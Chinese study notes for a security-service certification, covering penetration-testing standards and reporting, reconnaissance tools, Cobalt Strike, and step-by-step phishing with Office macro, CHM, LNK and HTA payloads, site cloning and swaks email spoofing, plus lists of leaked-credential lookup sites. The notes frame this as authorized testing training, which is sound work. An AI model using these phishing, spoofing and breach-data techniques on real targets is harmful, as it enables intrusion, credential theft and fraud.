深信服安全服务认证工程师学习笔记
第一章 网络安全基础
第一部分 网络安全基础
第二部分 操作系统配置与应用
第三部分 计算机网络原理与应用
第二章 网络渗透测试基础
第一部分 渗透测试概述
2.1.1 渗透测试标准与流程
渗透测试概述
- 渗透测试
渗透测试(Penetration Testing)是一种通过模拟攻击的技术与方法,挫败目标系统的安全控制措施并获得控制访问权的安全测试方法。
网络渗透测试主要依据CVE(Common Vulnerabilities and Exposures)已经发现的安全漏洞,模拟入侵者的攻击方法对网站应用、服务器系统和网络设备进行非破坏性质的攻击性测试。
- CVE:Common Vulnerabilities and Exposures,通用漏洞与披露
- CWE:Common Weakness Enumeration,通用缺陷列表
- 渗透测试的必要性
(1)为什么要进行渗透测试?
百密一疏,新系统可能存在知的安全风险
未雨绸缪,而不是亡羊补牢
专业的渗透测试后,即使系统未被攻破,也可以以此证明先前实行的防御是有效的
专业的渗透测试可以有效评估系统的安全状况,并提出合理的改进方案
(2)目的
- 侵入系统获取机密信息,并将入侵的过程和细节产生报告提供给用户,由此确定用户系统存在的安全威胁,并能提醒安全管理员完善安全策略,降低安全风险
- 渗透测试的原则
渗透测试过程的最大风险:测试过程中对业务产生影响
- 渗透测试是一个渐进的并且逐步深入的过程
- 渗透测试是选择不影响业务系统正常运行的攻击方法进行的测试
合规性:符合规范和法律要求也是执行渗透测试业务的一个必要条件(渗透测试必须使用一些通过规范审核后的工具)
- 渗透测试与APT
(1)目的
- 渗透测试的目的是评估计算机网络系统的安全性
- APT的目的是对高价值目标进行有组织、长期持续性的控制
(2)手段方法
- 渗透测试通过被允许的行为模拟黑客攻击来对目标系统进行测试
- APT利用任何各种高技术手段(包括0day漏洞、“水坑”攻击、“鱼叉”攻击等)进行攻击
(3)结果
渗透测试提高了目标系统的安全级别
APT在达成目的的过程中一般会给目标系统带来严重损失
渗透测试分类
- 根据渗透测试方法分类
- 黑盒测试:将测试对象看作一个黑盒子,完全不考虑测试对象的内部结构和内部特性。
- 白盒测试:把测试对象看作一个打开的盒子,测试人员依据测试对象内部逻辑结构相关信息,设计或选择测试用例。
- 灰盒测试:介于白盒与黑盒之间,是基于对测试对象内部细节有限认知的软件测试方法。
- 根据渗透测试目标分类
- 主机操作系统渗透:对Windows、Solaris、AIX、Linux、SCO、SGl等操作系统本身进行渗透测试。
- 数据库系统渗透:对MS-SQL、Oracle、MySQL、Informix、Sybase、DB2、Access等数据库应用系统进行渗透测试。
- 应用系统渗透:对渗透目标提供的各种应用,如ASP、CG1、JSP、PHP等组成的WWW应用进行渗透测试。
- 网络设备渗透:对各种防火墙、入侵检测系统、路由器、交换机等网络设备进行渗透测试。
- 根据渗透测试的位置分类
- 内网渗透:模拟客户内部违规操作者的行为,在内网中对目标进行渗透测试
- 外网渗透:模拟对内部状态一无所知的外部攻击者的行为(包括对网络设备的远程攻击、口令管理安全性测试、防火墙规则试探与规避、Web及其他开放应用服务的安全性测试等),从外网对目标进行渗透测试
- 针对Web服务体系架构的渗透测试
- 服务器渗透测试:对服务器自身的安全性(如操作系统、数据库是否存在弱口令等)进行检测。
- 中间件渗透测试:对Apache、lS、Tomcat、Nginx等Web中间件的漏洞(如配置缺陷、文件解析、反序列化漏洞等)进行检测。
- Web应用渗透测试:对CMS、Blog等Web应用程序的洞(如SQL注入、XSS、CSRF、文件上传与解析、文件包含、命令执行等)进行检测。
- 业务逻辑渗透测试:对业务逻辑安全性(如验证逻辑问题、会话管理问题、权限控制问题等)进行检测。
渗透测试标准与执行流程
- 渗透测试标准
- 安全测试方法学开源手册(OSSTMM)
- 网络安全测试指南(NIST SP 800-42)
- OWASP 十大Web应用安全威胁项目(OWASP TOP 10)
- Web应用安全威胁分类标准(WASC-TC)
- 渗透测试执行标准(PTES)
- 《渗透测试执行标准》
《渗透测试执行标准》(PTES:Penetration Testing Execution Standard)的核心理念是通过建立起进行渗透测试所要求的基本准则基线,来定义一次真正的渗透测试过程,并得到安全业界的广泛认同。
PTES将渗透测试过程分为七个阶段,并在每个阶段中定义不同的扩展级别,而选择哪种级别则由被测试的客户组织决定。

(1)第一阶段–前期交互阶段
- 在前期交互(Pre-Engagement Interaction)阶段,渗透测试团队与客户组织进行交互讨论,最重要的是**确定渗透测试的范围、目标、限制条件以及服务合同细节**
- 该阶段通常涉及收集客户需求、准备测试计划、定义测试范围与边界、定义业务目标、项目管理与规划等活动。
- 客户**书面授权委托,并同意实施方案是进行渗透测试的必要条件。渗透测试首先必须将实施方法、实施时间、实施人员、实施工具等具体的实施方案提交给客户,并得到客户的相应书面委托和授权。应该做到客户对渗透测试所有细节和风险的知晓,所有过程都在客户的控制下进行**。

(2)第二阶段–信息收集阶段
- 信息收集是每一步渗透攻击的前提,通过信息收集可以有针对性地制定模拟攻击测试计划,提高模拟攻击的成功率,同时可以有效地降低攻击测试对系统正常运行造成的不利影响,
- 信息收集的方法包括DNS探测、操作系统指纹判别、应用判别、账号扫描、配置判别等。信息收集常用的工具:
- 商业网络安全漏洞扫描软件Nessus、开源安全检测工具Nmap等
- 操作系统内置的许多功能(Telnet、Nslookup、IE等)也可以作为信息收集的有
效工具。

(3)第三阶段–威胁建模阶段
- 威胁建模主要使用在信息收集分析阶段所获取到的信息,来标识出目标系统上可能存在的安全漏洞与弱点。
- 在进行威胁建模时,将确定最为高效的攻击方法、所需要进一步获取到的信息以及从哪里攻破目标系统。
- 在威胁建模阶段,通常需要将客户组织作为敌手看待,然后以攻击者的视角和思维来尝试利用目标系统的弱点。

(4)第四阶段–漏洞分析阶段
- 漏洞分析阶段主要是从前面几个环节获取的信息中分析和理解哪些攻击途径会是可行的。
- 特别需要重点分析端口和漏洞扫描结果、取到的服务“旗帜”信息以及在信息收集分析环节中得到的其他关键信息。

(5)第五阶段–渗透测试阶段
- 渗透攻击主要是针对目标系统实施深入研究和测试的渗透攻击,并不是进行大量漫无目的的渗透测试。主要包括:
- 精准打击
- 绕过防御机制
- 定制渗透攻击路径
- 绕过检测机制
- 触发攻击响应控制措施
- 渗透代码测试

(6)第六阶段–后渗透测试阶段
- 后渗透攻击阶段从已经攻陷了客户组织的一些系统或取得域管理员权限之后开始,将以特定业务系统为目标,标识出关键的基础设施,并寻找客户组织最具价值和尝试进行安全保护的信息和资产,并需要演示出能够对客户组织造成最重要业务影响的攻击途径。主要包括
- 基础设施分析
- 高价值目标识别
- 掠夺敏感信息
- 业务影响攻击
- 掩踪灭迹
- 持续性存在

(7)第七阶段–报告阶段
- 报告是渗透测试过程中最为重要的因素,将使用报告文档来交流在渗透测试过程中做了哪些、如何做的,以及最为重要的一客户组织如何修复你所发现的安全漏洞与弱点
- 注意事项
- 在前期交互阶段,必须取得客户的授权
- 取得客户的授权后,必须向公安部门等监管机构进行报备
- 保证渗透测试过程中所用的工具都是合规的、经过检验的
2.1.2 渗透测试报告
渗透测试报告的重要性
- 编写渗透测试报告的两大宗旨和难题
- 如何准确定位问题?
- 如何让甲方意识到问题的严重性?
- 渗透测试必须包含
- 该漏洞对企业资产的影响状况(可能造成的问题)
- 合理的漏洞分级标准及相应漏洞的分级
- 系统整体加固建议(如漏洞修复建议、安全防护措施等)
- 渗透测试报告给谁看
- 高级管理人员:不关心技术细节,只关心结果(安全不安全)
- IT管理人员:对该组织的整体安全性感兴趣,同时也希望确保其特定的部门在测试过程中都没有发现任何重大问题。
- IT技术人员:负责修复测试过程中发现的问题的人。他们想知道三件事:受影响系统的名称、该漏洞的严重程度以及如何解决它
- 渗透测试报告的重要性
- 判定测试费用的重要依据
- 判定渗透测试团队优劣的重要依据
- 判定测试是否成功的重要依据
正确编写渗透测试报告
- 必须具备的品质
- 简单明了,直击要害
- 关键部分干练的语言是报告的精髓所在
- 让客户明白问题在哪里,而不是去报告中找问题
- 说明可能造成的危害,体现渗透测试的价值
- 尽可能通俗易懂
- 能让客户准确定位并修补漏洞
- 给出漏洞利用手段或exp
- 给出漏洞修补建议
- 满足甲方需求
- 指引需求—些甲方可能在测试前不知道他们想要什么样的结果
- 甲方需求明确时,严格按照甲方的要求进行测试
- 报告基本组成要素
- 封面
- 内容提要
- 漏洞概览及目录
- 使用的工具列表
- 报告主体
- 报告的基本要素–封面
- 公司名称、标志
- 测试的范畴(如:内网测试)
- 测试时间
- 文档的保密级别(保密声明)
- 法律声明
- 报告的基本要素–内容提要
- 尽量限制字数
- 明确指出客户所要求测试的系统是否安全
- 尽量不提及使用的工具、技术
- 让客户明白我们做了什么,接下来要做什么
- 最后一行应该是一个结论,即明确指出是该系统是安全还是不安全
- 一个糟糕的总结:“总之,我们发现一些地方的安全策略运作良好,但有些地方并未遵从。这导致了一定风险,但并不是致命风险。“
- 一个优秀的总结:“总之,我们发现了某些地方没有遵守安全策略,这给组织带来了一定风险,因此我们必须声明该系统是不安全的。
- 报告的基本要素–漏洞概览及目录
- 一目了然(可以使用表格或图标等)
- 分类列举漏洞
- 可以包含漏洞的严重性
- 报告的基本要素–使用的工具列表
- 列出所使用的工具
- 可以包含简要的工具说明
- 报告的基本要素–报告主体
- 发现的每一个漏洞
- 发现漏洞使用的工具、payload、exp、影响范围和存在的隐患或危害等内容(切忌复制粘贴扫描器结果!)
- 漏洞修复建议
注意:加密传输报告
- 报告模板




第二部分 渗透测试环境搭建与工具使用
第三章 信息收集
信息收集
3.1 信息收集总览
信息收集的种类
DNS
Domain Name system 域名系统
- 提供域名与IP地址之间映射
- 大型企业网站运转核心
收集原因
- 确定企业网站运行规模
- 可以从DNS中收集子域名、IP等
- 控制网站解析
子域名
mail.XXX.com
收集原因
- 确定企业网站运行数量,从而进行下一步(安全评估)准备
- 获得不同子域名所映射的IP,从而获得不同C段
- 寻找更大的安全脆弱点和面
C段
什么是C段
- 在IP地址的4段号码中,前3段号码为网络号码,剩下的1段号码为本地计算机的号码
192.168.1.5/24
收集原因
- 确定C段存活主机数量
- 确定C段中主机的端口,服务,操作系统等
邮箱
收集原因
- 通过分析邮箱格式和后缀,可以得知邮箱命名规律和邮箱服务器
- 为爆破登录表单收集数据,可形成字典
- 发送钓鱼邮件,执行高级APT控制
指纹
Web指纹
获取运行的脚本语言,开发框架,CMS,寻找脆弱点(漏洞)
如:.action一般可以确定为Struts2
如:Powered by **中间件指纹
获取中间使用的产品和版本
通过产品和版本查询是否有漏洞存在,如:struts2反序列化,iis文件解析系统指纹
获取操作系统使用的产品和版本
可以在以后渗透中提供渗透基准 如:大小写,shell部署方式
社工库
寻找指定目标的已经泄露的数据
如:邮箱,获取到企业内部人员已经泄露的密码,可以在撞库,爆破中使用
如:姓名,手机号,找回密码,重置信息
钓鱼攻击
- 邮件、链接、办公文件
- 构造鱼叉攻击(广撒网攻击)和水坑攻击(定向攻击)
- 绕过边界防御设备
- 从内部瓦解防御网络,直接反弹shell
3.2 DNS介绍
DNS基本原理

主要使用UDP,但是也可以使用TCP

DNS记录查询方法
- DNS A 记录

dig工具参数
+short:简洁反馈
@server:指定域名解析器
+trace:查询过程进行跟踪
- DNS NS 记录

- DNS TXT 记录

- DNS MX 记录

- DNS CNAME 记录

域名信息查询方法


CDN
3.3 子域名收集
子域名收集原因
- 子域名枚举可以在测试范围内发现更多的域或子域,这将增大漏洞发现的机率。
- 有些隐藏的、被忽略的子域上运行的应用程序可能帮助我们发现重大漏洞。
- 在同一个组织的不同域或应用程序中往往存在相同的漏洞
子域名收集方法
- 爆破
- 原理:通过字典匹配枚举存在的域名
- 工具:

- 搜索引擎
原理:通过搜索引擎获取已经爬取的子域名
语法:Site:163.cn
工具
theharvester
- 利用google, bing, pgp, linkedin, google-profiles, jigsaw, twitter, 公开信息收集
- 可以获取子域名,邮箱,主机,员工姓名,开放端口,banner
- 常用语法:theharvester -d sangfor:com.cn -b al (-b 数据的来源)
aquatone
除了子域爆破,同时还会利用各种开放的互联网服务和资源,来协助其完成子域枚举任务,增加子域名爆破的成功率
aquatone分为三个阶段:发现,扫描,收集
aquatone-discover 发现
通过获取google、shodan、censys、爆破等多种方式获取目标存在的域名常用语法:aquatone-discover -d sangfor.com.cn -t 1 (-t 使用线程数)
aquatone-scan 扫描
经过发现阶段获取到域名,然后扫描域名主机存活和开发端口常用语法:aquatone-scan -d sangfor.com.cn -p ‘port’ -t ‘threads’
aquatone-gather 收集
经过扫描以后发现存活的域名和端口,aquatone-gather将自动访问存活的域名并截图常用语法:aquatone-gather -d sangfor.com.cn
- 域传送
- DNS区域传送(DNS zone transfer)指的是一台备用服务器使用来自主服务器的数据刷新自己的域(zone)数据库。为运行中的DNS服务提供了一定的冗余度,目的是为了防止主的域名服务器因意外故障变得不可用时影响到整个域名的解析。
- DNS区域传送操作只在网络里真的有备用域名DNS服务器时才有必要用到,但许多DNS服务器却被错误地配置成只要有client发出请求,就会向对方提供个zone数据库的详细信息,所以说允许不受信任的因特网用户执行DNS区域传送(zone transfer)
危害:
黑客可以快速的判定出某个特定zone的所有主机,收集域信息,选择攻击目标找出未使用的IP地址,黑客可以绕过基于网络的访问控制
方法:
- dig @DnsServer(指定某一台域名解析服务器) axfr domain(具体传输的目标域名)
- nslookup 进入交互 -> server dns domain -> ls domain
- fierce -dns domains

- 在线网站
- www.virustotal.com
- dnsdumpster.com
- tool.chinaz.com
课堂作业:

3.4 C段扫描
C段扫描原因
- 收集C段内部属于目标的IP地址
- 内部服务限制只能IP访问,没有映射域名
- 更多的探测主机目标资产
C段扫描方法
Nmap
- 快速扫描大型网络
- 可以获得主机运行的端口,服务,系统指纹
- 提供上百个扩展脚本




Masscan
- Masscan号称是最快的互联网端口扫描器,最快可以在六分钟内扫遍互联网,每秒传输1000万个数据包
- 允许任意地址范围和端口范围





- Masscan和Namp的结合
一般情况下,可以先使用masscan对目标IP(通常是一个网段)进行全端口扫描,然后再使用nmap对存活主机的开放端口进行扫描,找出对应端口服务存在的漏洞
使用masscan对目标IP进行扫描的原因就是因为其速度快于nmap
3.5 Web目录扫描
目录扫描的原因
- 寻找到网站后台管理
- 寻找未授权界面
- 寻找网站更多隐藏信息
目录扫描的方法
robots.txt
- Robots协议 (Robots Exclusion Protocol)“网络爬虫排除标准”,网站通过Robots协议告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取。
- 同时也记录网站所具有基本的目录
搜索引擎
搜索引擎会爬取网站下目录,并且不需要触碰网站任何防御设备
语法:site:sangfor.com.cn
爆破 及工具
- 通过字典匹配网站是否返回相应正确状态码,然后列出存在的目录
- 爆破可能会触发网站防火墙拦截规则,造成IP封禁
爆破工具:
- dirb
- DIRB是一个Web内容扫描程序,通过字典查找WEB服务器的响应,DRIB只能扫描网站目录不能扫描漏洞


- dirbuster
- DirBuster多线程Java应用程序,主要扫描服务器上的目录和文件名,扫描方式分为基于字典和纯爆破,OWASP 下开源项目

- 御剑
3.6 指纹识别
系统指纹识别
- 方式一 不同操作系统对于处理TCP/IP数据包不相同
通过TCP/IP数据包发到目标主机,由于每个操作系统类型对于处理TCP/IP数据包都不相同,所以可以通过之间的差别判定操作系统类型。
- 识别方法

- 方式二 端口服务识别
每个操作系统都有特有的服务和端口,如:
- windows 桌面连接使用的3389 RDP协议
- 445端口 windows 的smb协议开启端口
- iis 80端口
识别方法

左右对比,增加了-sV的会显示对应服务的版本,即可以探测系统
中间件指纹识别
- 方法
- 通过http返回消息中提取server字段
- 通过端口服务探测中间件
- 通过构造错误界面返回信息查看中间件
- 方法一 通过http返回消息中提取server字段

- 方法二 通过端口服务探测中间件

- 方法三 通过构造错误界面返回信息查看中间件

Web程序指纹识别
- 识别目标
- 开发语言
- 开发框架
- 第三方组件
- CMS程序
- 数据库
- 开发语言
- 后缀名识别 .asp、.php、jsp
如果无法通过后缀名识别,可以通过抓包查看与后台交互点,如:登录,查询
- http返回消息头 x-Powered-By
- cookie:PHPSESSIONID -> php,JSPSESSIONID -> jsp,ASPSESSIONIDAASTCACQ -> asp
- 开发框架
- php的thinkphp框架识别方法特定ico图标
- Action后缀90%几率struts2或者webwork
- do后缀 50%几率spring mvc
- url路径/action/xxx70%几率struts2
- form后缀 60%几率spring mvc
- Vm后缀 90%几率VelocityViewServlet
- jsf后缀 99%几率Java Server Faces
- 第三方组件
一般包括流量统计、文件编辑器、模板引擎
- 识别方法:一般目录扫描
- FCKeditor
- CKEditor
- CMS程序
- 特定文件夹
dede/、admin/admin_Login.aspx
- Powered by ***
- 网站favicon图标
- 数据库
- 常规判断,asp->sqlserver,php->mysql,jsp-oracle
- 网站错误信息
- 端口服务,1443->sqlserver,3306->mysql,oracle->1521
在线探测
方法一:

方法二:


防火墙指纹识别
- 识别方法
方法一:Nmap探测,使用脚本

方法二:SQLmap探测

课堂测试:

3.7 GoogleHacking
介绍
- 使用Google搜索引擎或其他Google应用程序通过特定语法来查找网站配置或代码中的安全漏洞
- 搜索登录后台、特定文件、漏洞页面、错误信息等等
逻辑运算符

基本语法
Intext:key
- 搜索网页带有关键字的页面
Allintext:key
- 功能与intext,但是可以接多个关键字
intitle:key
- 搜索网页标题中是否有所输入的文字
Allintitle:key
- 功能与intext,可以接多个关键字,但不能与别的关键字连用
cache:url
- 查看指定URL快照
filetype:
- 搜索指定类型文件
info:
- 搜索输入URL的摘要信息和其他相关信息,不能与其他关键词混用
inurl:
- 搜索输入字符是否存在于URL中,可以与site结合找后台
site:
- 搜索特定网站或者子域名
related:URL
- 搜索与该URL相关的页面
高级案例






课堂测试:

3.8 网络空间搜索引擎
网络空间搜索引擎介绍
- 网络空间搜索引擎不同于搜索普通网页,而是直接搜索网络中存在主机,将主机信息汇聚成数据库,然后显示出主机的IP、端口、中间件、摄像头,工控设备banner等其他网络设备信息。
- 按照普通搜索引擎规则来搜索网络设备,如:ip:”192.168.1.0”
常见搜索引擎
- 国外
- shodan
- 国内
- zoomeye
- fofa
shodan
- Shodan是国外人员开发网络空间搜索引擎
- Shodan可以说是一款“黑暗”谷歌,一刻不停的在寻找着所有和互联网关联的服务器、摄像头、打印机、路由器等。
- 凡是连接到互联网的红绿灯、安全摄像头、家庭自动化设备以及加热系统等都会被轻易的搜索到。
基本语法


基本使用











课堂测试:

3.9 情报分析
情报分析概念
- 广义上情报分析是对全源数据进行综合、评估、分析和解读,将处理过的信息转化为情报以满足已知或预期用户需求的过程。
- 实际上对于网络空间情报分析主要对于目标的ip,域名,电话,邮箱位置,员工,公司出口网络,内部网络等等进行收集,然后进行综合判断整理汇聚成数据库
Maltego
Maltego是一种独特的工具,它对互联网上的信息进行收集、组织,并将这些信息显示在适于执行链路分析的、基于节点的图形上。
在kali中默认安装了maltego软件,可以直接在终端输入maltego进行启动
首次使用maltego需要注册

信息收集方法:



深入探测:



生成报告

3.10 社工库和多维度信息收集
社工库
将互联网泄露的信息汇聚成数据库,简单说:黑客数据库
社工库网址
https://www.reg007.com/ 邮箱、手机号注册过哪些网站
https://haveibeenpwned.com/ 邮箱是否被泄露
https://snusbase.com/search 邮箱、用户名、IP地址、HASH
http://163.donothackme.club/
http://s.70sec.com/
http://2017.findmima.com
https://gq.findmima.com/
http://cha.hx99.net/
http://sgk.70sec.com/index.php
https://www,shuju666.com/Home/Profile构建社工库
https://raidforums.com/Announcement-Database-Index-CLICK-ME

多维度信息收集
- 通过app
- 通过微信公众号
- 通过目标qq群
- 通过威胁情报
- 通过网站开发者角度
- 通过运维角度
- 通过架构师角度去获得目标相关信息








3.11 CobaltStrike配置
Cobalt Strike介绍
- Cobalt Strike是一款渗透测试软件,分为客户端与服务端,可以进行团队分布式操作
服务端:1个
客户端:N个 - Cobalt Strike集成了功能和模块
- 端口转发
- 站点克隆
- Windows exe程序生成
- Windows dll动态链接库生成
- java程序生成
- office宏代码生成
Cobalt Strike安装配置
环境:kali
服务端与客户端均需要安装java环境

服务端:

./teamserver 服务端IP地址 密码
客户端:



Cobalt Strike使用
第一步:

第二步:

第三步:


3.12 office钓鱼
office钓鱼介绍
- 在无需交互、用户无感知的情况下,执行Office文档中内嵌的一段恶意代码,从远控地址中下载并运行恶意可执行程序。例如:远控木马或者勒索病毒等
CobaltStrike钓鱼
Cobalt Strike office钓鱼主要方法是生成一段vba代码,然后将代码复制到office 套件中,当用户启动office自动运行
Cobalt Strike操作
- 点击Cobalt Strike主界面中attacks->packages->ms office macro
- 弹出界面选择Listener,单击确定
- 对话框中给出每一步仔细操作,单击copymacro按钮
word操作
- 点击上方标签视图标签
- 在该标签中点击宏按钮,弹出的对话框中输入宏名字,然后单击创建按钮
- 首先清空所有代码,然后将复制的代码粘贴到编辑器中,关闭宏编辑窗口
- 保存退出
- 双击再次运行保存的文档


CVE-2017-11882
漏洞为Office内存破坏漏洞,影响目前流行的所有Office版本。攻击者可以利用漏洞以当前登录的用户的身份执行任意命令。
该漏洞出现在模块EQNEDT32.EXE中,属于栈溢出漏洞,是对Equation Native 数据结构处理不当导致。
漏洞影响
- Microsoft Office 2007
- Microsoft Office 2010
- Microsoft Office 2013
- Microsoft Office 2016
复现过程
- exploit
- 虽然是栈溢出漏洞,但是该漏洞对于命令有限制,分为可以执行43b和执行109b,所以在利用过程需要注意命令长度。

3.13 钓鱼
CHM钓鱼
- 介绍
- CHM(Compiled Help Manual)即“已编译的帮助文件”。它是微软新一代的帮助文件格式,利用HTML作源文,把帮助内容以类似数据库的形式编译储存。
- 利用CHM钓鱼主要原因是因为该文档可以执行cmd命令
- CHM制作
- 软件:EasyCHM
- 制作过程
- 首先创建一个根目录,文件名任意
- 在文件内部创建两个目录和一个index.html文件
- 两个文件夹内部创建任意文件名的html文件
1 | 将下列代码复制到index.html文件中 |
- 启动EasyCHM软件
- 点击工具栏新建按钮,弹出的对话框中点击浏览按钮,选择创建的根目录,文件类型保持一致,点击确定
- 点击工具栏编译按钮,弹出的对话框中点击生成CHM按钮
- CS中钓鱼文件生成
- 启动Cobalt Strike软件
- 点击菜单attasks->web Drive by->scripted web Delivery
- 弹出的对话框中,type类型设置powershel,单击launch按钮
- 用代码将index.html中calc.exe替换
替换注意问题:

示例代码:

- 主机上线
- 双击运行CHM文件,主机立刻上线
- 注意问题:运行执行带有powershell命令的CHM文件,屏幕出现闪现一个黑框
LNK钓鱼
- 介绍
- Ink文件是用于指向其他文件的一种文件。这些文件通常称为快捷方式文件,通常它以快捷方式放在硬盘上,以方便使用者快速的调用。
- Ink钓鱼主要将图标伪装成正常图标,但是目标会执行shell命令
- 制作方式
- powershell生成图标
1 | 代码: |
- 在生成图标代码文件夹中建立test.txt文件,文件内容
- cmd /c calc.exe
- 编译powershell文件内容
- 执行生成Ink文件,系统将打开计算器
- 钓鱼方法
- 首先Cobalt Strike生成powershell shell代码
- 生成方法
- 点击菜单attacks->web Drive by->scripted web Delivery
- 弹出的对话框中,type类型设置powershell,单击launch按钮
- 复制生成代码
- 将代码替换test.txt中calc.exe内容
- 重新编译powershell代码
HTA钓鱼
- 介绍
- HTA是HTML Application的缩写,直接将HTML保存成HTA的格式,是一个独立的应用软件。
- HTA虽然用HTML、JS和CSS编写,却比普通网页权限大得多,它具有桌面程序的所有权限。
- CS生成HTA文件
- 点击attacks->packages->HTML Application
- 弹出的对话框中method选择powershel点击generate
- 弹出的窗口中选择保存位置,单击确定

3.14 网站克隆和钓鱼邮件
网站克隆
- 复制目标网站前端信息
- 构建相似网页
- 获取用户登录数据
- 方法
- cotalt strike 能够快速复制目标网站前端页面,并且复制相识度极高
- cotalt strike 同时还可以在复制的网站中插入恶意代码,如果本地浏览器带有漏洞的用户,可以直接控制目标机器
- 过程
- 点击cobalt strike 主页面Attack->Web Drive-by->Clone File
- Clone URL:克隆目标网站的URL
注意问题:URL需要添加http协议和端口(80)
- Local URL:本地克隆路径
- Local Host:本地主机IP
- Local Port:本地端口
- Attack:克隆后目标网站执行脚本,如:flash漏洞


钓鱼邮件
- 介绍
- 钓鱼邮件指利用伪装的电邮,欺骗收件人将账号、口令等信息回复给指定的接收者;或引导收件人连接到特制的网页,这些网页通常会伪装成和真实网站一样,如银行或理财的网页,令登录者信以为真,输入信用卡或银行卡号码、账户名称及密码等而被盗取
- 方法
swaks(SWiss Army Knife Smtp) SMTP瑞士军刀
- Swaks是由John Jetmore编写和维护的一种功能强大,灵活,可脚本化,面向事务的SMTP测试工具。可向任意目标发送任意内容的邮件
- kali自带
- 官方网站:http://wwwjetmore.org/john/code/swaks
swaks -to xxx@gq.com 测试邮箱连通性
- 可以成功发送,但是会被550拦截掉,因为怀疑该邮件大量伪造邮件
更换伪造方法
- swaks –to xxxx@qq.com –from xxx@126.cn –ehlo www.126.com –body welcome MissGun –header “Subject: welcome”
- – to 收件人
- –from 发件人
- – ehlo 伪造邮件ehlo头
- – body 发送正文
- –header 邮件头信息 subject:邮件标题
- swaks –to xxxx@qq.com –from xxx@126.cn –ehlo www.126.com –body welcome MissGun –header “Subject: welcome”

- 高级用法

- swaks –data email.txt –to xxx@qq.com –from xx@163.cn
- –data 表示邮件原文
- 原文中的Received 可以去掉 可以用– from 代替
- 原文中的To 也可以去掉,可以用–to代替
- 小结
- 通过邮件伪造可以发送任意内容,如:重置连接,木马等
- 结合网站克隆制作钓鱼网页来进行高级钓鱼策略
第四章 Web安全漏洞原理与验证
第一部分 Web安全综述
第二部分 HTTP协议基础
第三部分 SQL注入漏洞原理与验证
4.3.1 数据库基础
数据库概述
- 数据库(DataBase,DB):存储在磁带、磁盘、光盘或其他外存介质上、按一定结构组织在一起的相关数据的集合。
- 数据库管理系统(DataBase Management System,DBMS):一种操纵和管理数据库的大型软件,用于建立、使用和维护数据库。例如MySQL等类型
- 数据库系统(DataBase System,DBS):通常由软件、数据库(DB)和数据库管理员组成。软件主要包括操作系统、各种宿主语言、实用程序以及数据库管理系统(DBMS)
- 数据库(DB)由数据库管理系统(DBMS)统一管理,数据的插入、修改和检索均要通过数据库管理系统(DBMS)进行。数据库管理员负责创建、监控和维护整个数据库,使数据能被任何有权使用的人有效使用。
- 典型的网站体系结构

- 数据库分类
关系型数据库
- 关系型数据库模型是把复杂的数据结构归结为简单的二元关系(即二维表格形式)。通过SQL结构化查询语句存储数据,保持数据一致性,遵循ACID理论。
- 关系型数据库的典型产品:MySQL、Microsoft SQL Server、Oracle、PostgreSQL、IBM DB2、Access等
非关系型数据库
- 非关系型数据库也被成为NOSQL数据库,NOSQL的本意是“Not Only SQL’指的是非关系型数据库,而不是“NO SQL”的意思。因此,NOSQL的产生并不是要彻底地否定关系型数据库,而是作为传统关系型数据库的一个有效补充。NOSQL数据库在特定的场景下可以发挥出难以想象的高效率和高性能
- 非关系型数据库的典型产品:Memcached、Redis、mongoDB等
- ACID理论
- 原子性(Atomicity):事务是一个不可分割的单位,事务中的操作要么都发生,要么都不发生。
- 一致性(Consistency):事务前后数据的完整性必须保持一致。
- 隔离性(lsolation):多个用户并发访问数据库时,数据库为每一个用户开启的事务,不能被其他事务的操作数据所干扰,多个并发事务之间要相互隔离。
- 持久性(Durability):一个事务一旦被提交,它对数据库中数据的改变就是永久性的,接下来即使数据库发生故障也不应该对其有任何影响。
主流数据库管理系统
- Oracle
- 甲骨文公司的一款关系型数据库管理系统。它是在数据库领域一直处于领先地位的产品。可以说Oracle是目前世界上功能最强大、最复杂、市场占比最高的商业数据库产品,适用于各类大、中、小、微机环境。它是一种高效率、**可靠性好的适应高吞吐量**的数据库解决方案。
- 从架构到运维,可以说是最难的数据库,学习和使用难度较高。
- MySQL
- MySQL是当今最受欢迎的开源SQL数据库管理系统,它由瑞典MySQLAB开发、发布和支持。MySQL AB是一家基于MySQL开发人员的商业公司,它是一家使用了一种成功的商业模式来结合开源价值和方法论的第二代开源公司。
- MySQL是现在非常流行的关系型数据库管理系统,尤其在**Web应用方面**,是最好的关系型数据库管理系统应用软件之一。
- Microsoft sQL Server(MssQL)
- SQL Server 是Microsoft推出的关系型数据库管理系统,具有使用方便**可伸缩性好与相关软件集成程度高**等优点,从旧版本的个人电脑到运行Microsoft Windows server 的大型多处理器的服务器都可以使用,
- 老版本只能在Windows上运行,从SQLServer2017版本起可以在Linux上运
- PostgresQL
- PostgreSQL是加州大学伯克利分校计算机系开发的开源对象关系型数据库管理系统(ORDBMS),**稳定性极强,用于安全地存储数据**
- Memcached
- Memcached是一个开源的、高性能的、具有分布式内存对象的缓存系统。通过它可以减轻数据库负载,加速动态的Web应用。目前全球有非常多的用户都在使用它来架构主机的大负载网站或提升主机的高访问网站的响应速度
- Memcached是一种纯内存缓存系统,把经常存取的对象或数据缓存在Memcached的内存中,这些缓存的数据被程序通过API的方式进行读取,Memcached里面的数据就像一张巨大的hash表,数据以key-value对的方式存在
- Redis
- Redis也是一个key-value型存储系统。但Redis支持的存储value类型相对更多,包括string(字符串)、list(链表)、set(集合)和zset(有序集合)等。这些数据类型都支持push/pop、add/remove及取交集、并集和差集及更丰富的操作。
- mongoDB
- mongoDB是一个基于分布式文件存储的数据库,由C++语言编写,旨在为Web应用提供可扩展的高性能数据存储解决方案。
- mongoDB是一个介于关系型数据库和非关系型数据库之间的产品,是非关系型数据库当中功能最丰富,最像关系型数据库的。它支持的数据结构非常松散,是类似json的bson格式,因此可以存储比较复杂的数据类型。
- mongoDB最大的特点是它支持的查询语言非常强大,其语法有点类似于面向对象的查询语言,几乎可以实现类似关系数据库单表查询的绝大部分功能,而且还支持对数据建立索引。
国内自主研发的关系型数据库
- 达梦(DM):由华中理工冯玉才教授创办,完全自主研发,以Oracle为参照、追赶对象。
- 人大金仓(Kingbase):由人民大学王珊教授创办,自主研发。普通的关系型数据库。
- 神舟通用(OSCAR):神舟集团与南大通用合作开发的关系型数据库,更多地用于数据分析领域。
- 南大通用(GBase):南开大学的背景,2010年左右自主研发的基于列式存储、面向数据分析、数据仓库的数据库系统。
MYSQL数据库连接方式
- 命令行连接:[root@host]#mysql -h XXXX-u root -p
- PHP脚本连接:mysqli_connect(host,username,password,dbname,port,socket);
- 第三方软件连接
识别数据库
类别
- 盲跟踪
- Web应用技术
